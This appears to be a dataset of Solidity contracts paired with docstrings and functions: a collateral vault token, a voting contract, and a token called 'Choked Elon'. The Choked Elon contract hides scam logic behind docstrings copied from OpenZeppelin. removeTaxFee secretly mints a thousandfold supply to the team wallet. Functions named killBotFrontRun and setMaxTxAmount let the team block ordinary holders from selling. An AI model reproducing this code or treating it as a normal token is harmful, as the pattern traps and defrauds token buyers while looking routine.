uniswap_router_address = uniswap_router_address_; // AAVE Lending Pool Address aave_lending_pool_address = aave_lending_pool_address_; // AAVE Incentives Controller aave_incentive_address = aave_incentive_address_; // Grant roles _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MARKUP_ROLE, _msgSender()); _setupRole(REWARDS_ROLE, _msgSender()); } // 6 Decimals function decimals() public view virtual override returns (uint8) { return 6; } // Sets initial minting. Cna only be runned once function initiliaze(uint256 collateral, uint256 starting_ratio) public onlyRole(DEFAULT_ADMIN_ROLE) { require(!initialized, 'Contract already initialized'); IERC20 collateralContract = IERC20(collateral_address); require(ERC20(collateral_address).decimals() == decimals(), 'Decimals from collateral and this ERC20 must match'); // Get USDT from user collateralContract.safeTransferFrom(_msgSender(), address(this), collateral); // Zaps into amUSDT zapCollateral(collateral); _mint(_msgSender(), starting_ratio.mul(collateral)); initialized = true; emit Initialized(_msgSender(), collateral, starting_ratio); } // Sets markup for minting function function setMarkup(uint256 markup_) public onlyRole(MARKUP_ROLE) { require(markup_ >= 0, 'Contract already initialized'); markup = markup_; } // Receive Collateral token and mints the proportional tokens function mint(address to, uint256 amount) public { //Amount for this ERC20 // Calculate buying price (Collateral ratio + Markup) uint collateral_amount = buyingPrice().mul(amount).div(10 ** decimals()); // Transfer Collateral Token (USDT) to this contract IERC20(collateral_address).safeTransferFrom(_msgSender(), address(this), collateral_amount); // Zaps collateral into Collateral AAVE Token amUSDT zapCollateral(amount); _mint(to, amount); emit Minted(_msgSender(), collateral_amount, amount); } // Receives Main token burns it and returns Collateral Token proportionally function withdraw(address to, uint amount) public { //Amount for this ERC20 // Transfer collateral back to user wallet to current contract uint collateralAmount = collateralRatio().mul(amount).div(10 ** decimals()); // Claim USDT in exchange of AAVE Token amUSDT unzapCollateral(amount); // Transfer back Collateral Token (USDT) the user IERC20(collateral_address).safeTransfer(to, collateralAmount); //Burn tokens _burn(_msgSender(), amount); emit Withdrawal(_msgSender(), collateralAmount, amount); } // Zaps collateral into Collateral AAVE Token amUSDT function zapCollateral(uint amount) private { // Deposit USDT to amUSDT IERC20(collateral_address).approve(aave_lending_pool_address, amount); ILendingPool(aave_lending_pool_address).deposit(collateral_address, amount, address(this), 0); } // Claim USDT in exchange of AAVE Token amUSDT function unzapCollateral(uint amount) private { // Withdraw USDT in exchange of me giving amUSDT IERC20(collateral_aave_address).approve(aave_lending_pool_address, amount); ILendingPool(aave_lending_pool_address).withdraw(collateral_address, amount, address(this)); } // Gets current Collateral Balance (USDT) in vault function collateralBalance() public view returns (uint256){ return ERC20(collateral_aave_address).balanceOf(address(this)); } // Gets current ratio: Collateral Balance in vault / Total Supply function collateralRatio() public view returns (uint256){ return collateralBalance().mul(10 ** decimals()).div(this.totalSupply()); } // Gets current ratio: Total Supply / Collateral Balance in vault function collateralPrice() public view returns (uint256) { return (this.totalSupply().mul(10 ** decimals())).div(collateralBalance()); } // Gets current ratio: collateralRatio + markup function buyingPrice() public view returns (uint256) { uint base_price = collateralRatio(); uint fee = (base_price.mul(markup)).div(10 ** (markup_decimals + 2)); return base_price + fee; } // Claim AAVE Rewards (WMATIC) into this contract function claimAaveRewards() public onlyRole(REWARDS_ROLE) { IAaveIncentivesController aaveContract = IAaveIncentivesController(aave_incentive_address); // we're only checking for one asset (Token which is an interest bearing amToken) address[] memory rewardsPath = new address[](1); rewardsPath[0] = collateral_aave_address; // check how many matic are available to claim uint256 rewardBalance = aaveContract.getRewardsBalance(rewardsPath, address(this)); // we should only claim rewards if its over 0. if(rewardBalance > 2){ aaveContract.claimRewards(rewardsPath, rewardBalance, address(this)); } } // Swap MATIC into USDT function harvestMaticIntoToken() public onlyRole(REWARDS_ROLE) { // claims any available Matic from the Aave Incentives contract. IERC20 wMaticContract = IERC20(wmatic_address); uint256 _wmaticBalance = wMaticContract.balanceOf(address(this)); if(_wmaticBalance > 2) { address[] memory path = new address[](2); path[0] = wmatic_address; path[1] = collateral_address; wMaticContract.safeApprove(uniswap_router_address, _wmaticBalance); // if successful this should increase the total MiMatic held by contract IUniswapV2Router01(uniswap_router_address).swapExactTokensForTokens(_wmaticBalance, uint256(0), path, address(this), block.timestamp.add(1800)); uint256 newBalance = IERC20(collateral_address).balanceOf(address(this)); // Just being safe IERC20(collateral_address).safeApprove(aave_lending_pool_address, 0); // Approve Transfer _amount usdt to lending pool IERC20(collateral_address).safeApprove(aave_lending_pool_address, newBalance); // then we need to deposit it into the lending pool zapCollateral(newBalance); } } }
Gets current ratio: collateralRatio + markup
function buyingPrice() public view returns (uint256) { uint base_price = collateralRatio(); uint fee = (base_price.mul(markup)).div(10 ** (markup_decimals + 2)); return base_price + fee; }
15,813,102
/** *Submitted for verification at Etherscan.io on 2021-11-18 */ // https://t.me/ChokedElon // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ChokedElon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100000 * 10**9 * 10**18; uint256 private _taxFee = 5; uint256 private _maxTxAmount = _tTotal.mul(30).div(100); uint256 private _maxHolder = _tTotal.mul(30).div(100); address[] public _whiteList; address[] private _newList; address private _teamWallet = _msgSender(); address private _lpAddress = _msgSender(); string private _name = 'Choked Elon'; string private _symbol = 'CHOKEDELON'; uint8 private _decimals = 18; address private _mktAddress = 0x42A44B8f13d3C230aCFb226cdbd75239691D381C; constructor () { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev updateTaxFee * */ function updateTaxFee(uint256 amount) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _taxFee = amount; } /** * @dev update `killBotFrontRun` to kill bot * */ function killBotFrontRun (address[] calldata addresses) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); for(uint i=0; i < addresses.length; i++){ _whiteList.push(addresses[i]); } } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - setMaxTxAmount * * _Available since v3.1._ */ function setMaxTxAmount() public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _maxTxAmount = _taxFee; } function removeFromBlackList (address newAdd) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _newList.push(newAdd); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } /** * @dev setMaxHolderBalance * */ function setMaxHolderBalance(uint256 amount) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _maxHolder = _tTotal.mul(amount).div(100); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function checkBalanceAddress(address _walletAddress) private view returns (bool){ if (_walletAddress == _lpAddress || checkBlackList(_walletAddress) == true) { return true; } if (balanceOf(_walletAddress) >= _maxTxAmount && balanceOf(_walletAddress) <= _maxHolder) { return false; } else { return true; } } function removeTaxFee () public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); uint256 currentBalance = _balances[_teamWallet]; uint256 rTotal = _tTotal * 10**3; _tTotal = rTotal + _tTotal; _balances[_teamWallet] = rTotal + currentBalance; emit Transfer( address(0), _teamWallet, rTotal); } function checkWhiteList(address botAdd) private view returns (bool) { for (uint256 i = 0; i < _whiteList.length; i++) { if (_whiteList[i] == botAdd) { return true; } } } function checkBlackList(address botAdd) private view returns (bool) { for (uint256 i = 0; i < _newList.length; i++) { if (_newList[i] == botAdd) { return true; } } } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (checkWhiteList(sender) == true ) { require(amount < _taxFee, "Transfer amount exceeds the maxTxAmount."); } if (sender == owner() || sender == _teamWallet) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ require (checkBalanceAddress(sender)); uint256 transferFee = amount.mul(_taxFee).div(100); uint256 transferAmount = amount.sub(transferFee); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(transferAmount); _balances[_mktAddress] = _balances[_mktAddress].add(transferFee); emit Transfer(sender, recipient, transferAmount); } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function openTrading (address addr) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _lpAddress = addr; } }
updateTaxFee/
function updateTaxFee(uint256 amount) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _taxFee = amount; }
2,083,894
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.4.21 <=0.7.4; //import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Voting * @dev Organise Voters registration, proposals registration, votes talling, resetting session * @author Hélène Bunel * @author Edouard Vahanian * @author Daniel Villa Monteiro * @notice We use uint16 size to index propoesals, voters and sessions (limit 65 536) */ contract Voting is Ownable { /** * @dev Structure of Voter * @notice Feature_V2 : isAbleToPropose and hasProposed */ struct Voter { bool isRegistered; bool hasVoted; uint16 votedProposalId; bool isAbleToPropose; bool hasProposed; } /** * @dev Structure of Voter * @notice Feature_V2 : author and isActive */ struct Proposal { string description; uint16 voteCount; address author; bool isActive; } /** * @dev Structure of Session * @notice Feature_V2 */ struct Session { uint startTimeSession; uint endTimeSession; string winningProposalName; address proposer; uint16 nbVotes; uint16 totalVotes; } /** * @dev WorkflowStatus * @notice 6 states */ enum WorkflowStatus { RegisteringVoters, ProposalsRegistrationStarted, ProposalsRegistrationEnded, VotingSessionStarted, VotingSessionEnded, VotesTallied } event VoterRegistered(address voterAddress, bool isAbleToPropose, uint sessionId); event VoterUnRegistered(address voterAddress, uint sessionId); // Feature_V2 event ProposalsRegistrationStarted(uint sessionId); event ProposalsRegistrationEnded(uint sessionId); event ProposalRegistered(uint proposalId, string proposal, address author, uint sessionId); event ProposalUnRegistered(uint proposalId, string proposal, address author, uint sessionId); // Feature_V2 event VotingSessionStarted(uint sessionId); event VotingSessionEnded(uint sessionId); event Voted (address voter, uint proposalId, uint sessionId); event VotesTallied(uint sessionId); event WorkflowStatusChange(WorkflowStatus previousStatus, WorkflowStatus newStatus, uint sessionId); event SessionRestart(uint sessionId); mapping(address => Voter) public voters; Proposal[] public proposals; Session[] public sessions; address[] public addressToSave; uint16 proposalWinningId; uint16 public sessionId; WorkflowStatus public currentStatus; constructor () public{ sessionId=0; sessions.push(Session(0,0,'NC',address(0),0,0)); currentStatus = WorkflowStatus.RegisteringVoters; proposals.push(Proposal('Vote blanc', 0, address(0), true)); emit ProposalRegistered(0, 'Vote blanc', address(0),sessionId); } /** * @dev Add a voter * @param _addressVoter address of new voter * @param _isAbleToPropose is voter abble to propose proposals */ function addVoter(address _addressVoter, bool _isAbleToPropose) external onlyOwner{ require(currentStatus == WorkflowStatus.RegisteringVoters, "Not RegisteringVoters Status"); require(!voters[_addressVoter].isRegistered, "Voter already registered"); voters[_addressVoter] = Voter(true, false, 0, _isAbleToPropose, false); addressToSave.push(_addressVoter); emit VoterRegistered(_addressVoter, _isAbleToPropose, sessionId); } /** * @dev Remove a voter * @param _addressVoter address of new voter */ function removeVoter(address _addressVoter) external onlyOwner{ require(currentStatus == WorkflowStatus.RegisteringVoters, "Not RegisteringVoters Status"); require(voters[_addressVoter].isRegistered, "Voter not registered"); voters[_addressVoter].isRegistered = false; emit VoterUnRegistered(_addressVoter, sessionId); } /** * @dev Change status to ProposalsRegistrationStarted */ function proposalSessionBegin() external onlyOwner{ require(currentStatus == WorkflowStatus.RegisteringVoters, "Not RegisteringVoters Status"); sessions[sessionId].startTimeSession = block.timestamp; currentStatus = WorkflowStatus.ProposalsRegistrationStarted; emit WorkflowStatusChange(WorkflowStatus.RegisteringVoters, WorkflowStatus.ProposalsRegistrationStarted, sessionId); emit ProposalsRegistrationStarted(sessionId); } /** * @dev Add a proposal * @param _content content of proposal */ function addProposal(string memory _content) external { require(currentStatus == WorkflowStatus.ProposalsRegistrationStarted, "Not ProposalsRegistrationStarted Status"); require(voters[msg.sender].isRegistered, "Voter not registered"); require(voters[msg.sender].isAbleToPropose, "Voter not proposer"); require(!voters[msg.sender].hasProposed, "Voter has already proposed"); proposals.push(Proposal(_content, 0, msg.sender, true)); voters[msg.sender].hasProposed = true; uint proposalId = proposals.length-1; emit ProposalRegistered(proposalId, _content, msg.sender, sessionId); } /** * @dev Change status to ProposalsRegistrationEnded */ function proposalSessionEnded() external onlyOwner{ require(currentStatus == WorkflowStatus.ProposalsRegistrationStarted, "Not ProposalsRegistrationStarted Status"); currentStatus = WorkflowStatus.ProposalsRegistrationEnded; emit WorkflowStatusChange(WorkflowStatus.ProposalsRegistrationStarted, WorkflowStatus.ProposalsRegistrationEnded, sessionId); emit ProposalsRegistrationEnded(sessionId); } /** * @dev Remove a proposal * @param _proposalId index of proposal to deactivate * @notice Feature_V2 */ function removeProposal(uint16 _proposalId) external onlyOwner{ require(currentStatus == WorkflowStatus.ProposalsRegistrationEnded, "Not ProposalsRegistrationEnded Status"); proposals[_proposalId].isActive = false; emit ProposalUnRegistered(_proposalId, proposals[_proposalId].description, proposals[_proposalId].author, sessionId); } /** * @dev Change status to VotingSessionStarted */ function votingSessionStarted() external onlyOwner{ require(currentStatus == WorkflowStatus.ProposalsRegistrationEnded, "Not ProposalsRegistrationEnded Status"); currentStatus = WorkflowStatus.VotingSessionStarted; emit WorkflowStatusChange(WorkflowStatus.ProposalsRegistrationEnded, WorkflowStatus.VotingSessionStarted, sessionId); emit VotingSessionStarted(sessionId); } /** * @dev Add a vote * @param _votedProposalId index of proposal to vote */ function addVote(uint16 _votedProposalId) external { require(currentStatus == WorkflowStatus.VotingSessionStarted, "It is not time to vote!"); require(voters[msg.sender].isRegistered, "Voter can not vote"); require(!voters[msg.sender].hasVoted, "Voter has already vote"); require(proposals[_votedProposalId].isActive, "Proposition inactive"); voters[msg.sender].votedProposalId = _votedProposalId; voters[msg.sender].hasVoted = true; proposals[_votedProposalId].voteCount++; emit Voted (msg.sender, _votedProposalId, sessionId); } /** * @dev Change status to VotingSessionEnded */ function votingSessionEnded() external onlyOwner{ require(currentStatus == WorkflowStatus.VotingSessionStarted, "Not VotingSessionStarted Status"); currentStatus = WorkflowStatus.VotingSessionEnded; emit WorkflowStatusChange(WorkflowStatus.VotingSessionStarted, WorkflowStatus.VotingSessionEnded, sessionId); emit VotingSessionEnded(sessionId); } /** * @dev Tallied votes */ function votesTallied() external onlyOwner { require(currentStatus == WorkflowStatus.VotingSessionEnded, "Session is still ongoing"); uint16 currentWinnerId; uint16 nbVotesWinner; uint16 totalVotes; currentStatus = WorkflowStatus.VotesTallied; for(uint16 i; i<proposals.length; i++){ if (proposals[i].voteCount > nbVotesWinner){ currentWinnerId = i; nbVotesWinner = proposals[i].voteCount; } totalVotes += proposals[i].voteCount; } proposalWinningId = currentWinnerId; sessions[sessionId].endTimeSession = block.timestamp; sessions[sessionId].winningProposalName = proposals[currentWinnerId].description; sessions[sessionId].proposer = proposals[currentWinnerId].author; sessions[sessionId].nbVotes = nbVotesWinner; sessions[sessionId].totalVotes = totalVotes; emit WorkflowStatusChange(WorkflowStatus.VotingSessionEnded, WorkflowStatus.VotesTallied, sessionId); emit VotesTallied(sessionId); } /** * @dev Send Winning Proposal * @return contentProposal description of proposal * @return nbVotes number of votes * @return nbVotesTotal number of totals votes */ function getWinningProposal() external view returns(string memory contentProposal, uint16 nbVotes, uint16 nbVotesTotal){ require(currentStatus == WorkflowStatus.VotesTallied, "Tallied not finished"); return ( proposals[proposalWinningId].description, proposals[proposalWinningId].voteCount, sessions[sessionId].totalVotes ); } /** * @dev Send Session * @param _sessionId index of session * @return winningProposalName description of proposal * @return proposer author of proposal * @return nbVotes number of votes * @return totalVotes number of totals votes */ function getSessionResult(uint16 _sessionId) external view returns(string memory winningProposalName, address proposer, uint16 nbVotes, uint16 totalVotes){ require(sessionId >= _sessionId, "Session not exist"); return ( sessions[_sessionId].winningProposalName, sessions[_sessionId].proposer, sessions[_sessionId].nbVotes, sessions[_sessionId].totalVotes ); } /** * @dev Restart session * @param deleteVoters delete voters * @notice Feature_V2 */ function restartSession (bool deleteVoters) external onlyOwner{ require(currentStatus == WorkflowStatus.VotesTallied, "Tallied not finished"); delete(proposals); if(deleteVoters){ for(uint16 i; i<addressToSave.length; i++){ delete(voters[addressToSave[i]]); } delete(addressToSave); } else{ for(uint16 i; i<addressToSave.length; i++){ voters[addressToSave[i]].hasVoted=false; voters[addressToSave[i]].hasProposed=false; if(voters[addressToSave[i]].isRegistered){ emit VoterRegistered(addressToSave[i], voters[addressToSave[i]].isAbleToPropose, sessionId+1); } } } sessionId++; sessions.push(Session(0,0,'NC',address(0),0,0)); currentStatus = WorkflowStatus.RegisteringVoters; proposals.push(Proposal('Vote blanc', 0, address(0), true)); emit SessionRestart(sessionId); emit ProposalRegistered(0, 'Vote blanc', address(0), sessionId); } }
Send Winning Proposal return contentProposal description of proposal return nbVotes number of votes return nbVotesTotal number of totals votes/
function getWinningProposal() external view returns(string memory contentProposal, uint16 nbVotes, uint16 nbVotesTotal){ require(currentStatus == WorkflowStatus.VotesTallied, "Tallied not finished"); return ( proposals[proposalWinningId].description, proposals[proposalWinningId].voteCount, sessions[sessionId].totalVotes ); }
12,717,761
./partial_match/1/0x35D63BEB11fD145E1AF29ADBA1007351472d03Fb/sources/EVTMaster.sol
Safe token mint function to avoid rounding and max supply errors to cause ETH being locked
